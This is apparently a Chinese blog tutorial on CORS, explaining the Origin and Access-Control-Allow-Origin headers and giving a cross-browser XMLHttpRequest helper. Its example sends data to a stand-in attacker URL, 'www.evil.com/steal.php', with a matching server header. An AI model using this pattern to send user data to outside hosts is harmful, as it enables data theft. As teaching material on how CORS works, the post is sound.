AJAX跨域浏览-CORS

1.CORS

   全称Cross-Origin-Resource-Sharing,W3C新标准中的的跨域方案,可以发送数据到另一个域.过程如下: 

1.1 www.foo.com(来源域)的AJAX向www.evil.com(目标域)发送了请求,浏览器将会自动带上Origin头 -> Origin http://www.foo.com

1.2 目标域判断这个Origin值,如果是自己预期,则返回 -> Access-Control-Allow-Origin: http://www.foo.com [表示同意跨域];如果目标域不这么做,浏览器获得响应后就不会发现Access-Control-Allow-Origin头存在,就会报出如下权限错误 -> XMLHttpRequest cannot load http://www.evil.com Origin http://www.foo.com is not allowed by Access-Control-Allow-Origin

2.代码下的CORS兼容

<script>
function createCORSRequest(method,url){
    var xhr = new XMLHttpRequest();
    if("withCredentials" in xhr){
        xhr.open(method,url,true);
    }
    else if (typeof XDomainResquest!="undefined"){
        xhr = new XDomainResquest();   //IE浏览器
        xhr.open(method,url);
    }
    else { 
        xhr = null;
    }
    return xhr;
}

var  request =  createCORSRequest("get","http://www.evil.com/steal.php?data=456");
if (request){
    request.onload = function(){ //请求成功后
        alert(request.responseText); //弹出响应的数据
    };
    request.send(); //发送请求
}
</script>

将上述代码存在www.foo.com域上,跨域向目标发起请求,目标域steal.php代码如下:
<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
//....
>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值